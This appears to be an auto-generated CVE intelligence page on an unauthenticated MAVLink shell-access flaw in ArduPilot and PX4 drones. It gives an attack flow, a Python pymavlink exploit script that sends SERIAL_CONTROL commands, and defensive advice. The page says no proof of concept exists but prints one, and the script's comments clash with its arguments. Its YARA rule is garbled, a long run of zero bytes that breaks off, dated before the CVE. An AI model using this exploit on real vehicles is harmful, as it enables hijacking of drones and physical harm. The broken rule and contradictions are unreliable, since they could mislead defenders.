CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-306

👁️

CVE-2026-1579

CVE-2026-1579 is a critical authentication bypass vulnerability in the MAVLink communication protocol as implemented by ArduPilot and PX4 ecosystems.

 📅 PUBLISHED: 2026-03-31 20:20 UTC 🔄 UPDATED: 2026-09-26 06:25 UTC 

[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix

[ DEFENSE PATCH ↓ ]

💣 PoC: None

👁️

🎯 EPSS: 0.93%

👁️

🥷 MITRE: T1078

👁️

VULNERABLE: version not auto-detected — verify your deployed version locally

CVSS VECTOR BREAKDOWN 9.8

AV: N Attack Vector Network

AC: L Attack Complexity Low

PR: N Privileges Required None

UI: N User Interaction None

S: U Scope Unchanged

C: H Confidentiality High

I: H Integrity High

A: H Availability High

↗ Verify on NVD CVSS:3.1

9.8

THREAT LEVEL

INTEL SOURCES NVD CVEProject OSV.dev EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-1579 is a critical authentication bypass vulnerability in the MAVLink communication protocol as implemented by ArduPilot and PX4 ecosystems. When MAVLink 2.0 message signing is not enabled, any unauthenticated party with network access to the MAVLink interface can send arbitrary messages, including SERIAL_CONTROL, which provides interactive shell access to the flight controller. This effectively grants full remote code execution and control over the unmanned aerial vehicle (UAV) or robotic platform.

The vulnerability stems from a missing authentication requirement at the protocol level (CWE-306). The MAVLink protocol, by design, does not enforce cryptographic signing unless explicitly configured. This is a systemic issue affecting all MAVLink-based systems that do not enable signing.

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PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

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Supply Chain & Package Security

This vulnerability is not package-manager specific (NPM, PyPI, Go, Ruby). However, it affects the entire MAVLink ecosystem, including ArduPilot and PX4 firmware distributions. Users must verify that their firmware builds have MAVLink 2.0 signing enabled. Supply chain risk is elevated because many pre-built firmware images may ship with signing disabled by default.

CVSS Breakdown & Threat Level

Attack Vector (AV): Network (N) – Exploitable remotely over the network.
Attack Complexity (AC): Low (L) – No special conditions required.
Privileges Required (PR): None (N) – No authentication needed.
User Interaction (UI): None (N) – No user action required.
Scope (S): Unchanged (U) – Exploit does not affect other components.
Confidentiality (C): High (H) – Full access to flight data and telemetry.
Integrity (I): High (H) – Ability to modify flight parameters and commands.
Availability (A): High (H) – Can crash or disable the flight controller.

CVSS Score: 9.8 (Critical) – This vulnerability allows complete compromise of the UAV without any authentication.

Deep Dive & Mechanics

MAVLink is a lightweight messaging protocol used for communication between ground control stations (GCS) and unmanned vehicles. MAVLink 2.0 introduced optional message signing using a secret key and a timestamp to prevent replay and forgery attacks. When signing is disabled, the protocol accepts any message as valid.

The SERIAL_CONTROL message (ID 197) is a particularly dangerous command. It allows the sender to open a serial console to the flight controller’s underlying operating system, providing interactive shell access. An attacker can send this message to execute arbitrary commands, modify firmware, exfiltrate data, or crash the vehicle.

Attack Flow:

Attacker scans for open MAVLink ports (UDP 14550, TCP 5760, etc.).
Attacker sends a SERIAL_CONTROL message with the target serial device (e.g., /dev/ttyS0) and command data.
The flight controller processes the message and opens a shell session.
Attacker sends subsequent SERIAL_CONTROL messages to execute commands.
Full control over the UAV is achieved.

Vulnerable vs. Patched Code

Vulnerable Configuration (MAVLink 2.0 signing disabled):

// In mavlink_helpers.h or similar
// No signing check performed
if (msg->msgid == MAVLINK_MSG_ID_SERIAL_CONTROL) {
    handle_serial_control(msg);
}

Patched Configuration (MAVLink 2.0 signing enabled):

// In mavlink_helpers.h or similar
// Signing check enforced
if (!mavlink_msg_has_signing(msg) || !mavlink_verify_signature(msg)) {
    return MAVLINK_FRAMING_BAD_SIGNATURE;
}
if (msg->msgid == MAVLINK_MSG_ID_SERIAL_CONTROL) {
    handle_serial_control(msg);
}

The patch requires that all messages include a valid signature. The signing key must be pre-shared between the GCS and the vehicle.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

ArduPilot SITL (Software In The Loop) or PX4 SITL running on a local machine.
MAVProxy or custom Python script to send MAVLink messages.
Network access to the MAVLink port (default UDP 14550).

Exploit Script (Python using pymavlink):

#!/usr/bin/env python3
import pymavlink.mavutil as mavutil
import time

# Connect to the flight controller (no authentication)
master = mavutil.mavlink_connection('udp:127.0.0.1:14550')

# Wait for heartbeat
master.wait_heartbeat()
print("Heartbeat received")

# Send SERIAL_CONTROL to open shell on /dev/ttyS0
master.mav.serial_control_send(
    device=0,  # SERIAL_CONTROL_DEV_TELEM1
    flags=0,   # SERIAL_CONTROL_FLAG_REPLY
    timeout=0,
    baudrate=115200,
    data=b"id\n"
)

# Read response
while True:
    msg = master.recv_match(type='SERIAL_CONTROL', blocking=True)
    if msg:
        print(f"Response: {msg.data}")

Expected Output: The flight controller executes the id command and returns the output.

Blue Team (Defensive)

Detection & Prevention:

Enable MAVLink 2.0 Signing: Configure the flight controller and GCS to use a shared signing key.
Network Segmentation: Isolate MAVLink traffic to trusted networks only. Use VPNs or dedicated physical links.
Firewall Rules: Block unauthorized access to MAVLink ports (UDP 14550, TCP 5760, etc.).
Intrusion Detection: Monitor for unexpected SERIAL_CONTROL messages or anomalous MAVLink traffic.
Firmware Hardening: Disable SERIAL_CONTROL if not needed, or restrict it to specific serial devices.

Indicators of Compromise (IOCs)

Network Traffic:
- MAVLink packets with msgid=197 (SERIAL_CONTROL) from unexpected IP addresses.
- High frequency of MAVLink messages without valid signatures.
- Unusual serial device names in SERIAL_CONTROL payloads (e.g., /dev/ttyS0, /dev/ttyAMA0).
System Logs:
- Flight controller logs showing unexpected shell commands.
- Repeated authentication failures if signing is partially enabled.
File System:
- Unauthorized scripts or binaries uploaded via SERIAL_CONTROL.
- Modified configuration files (e.g., mavlink.conf).

Detection Engineering

YARA Rule

rule CVE_2026_1579_MAVLink_SerialControl {
    meta:
        description = "Detects MAVLink SERIAL_CONTROL messages (msgid=197) without signing"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-1579"
    strings:
        $mavlink_header = { FE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 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{/* [Security Hash: E0537B4FBF229B9988BE6BA0] */}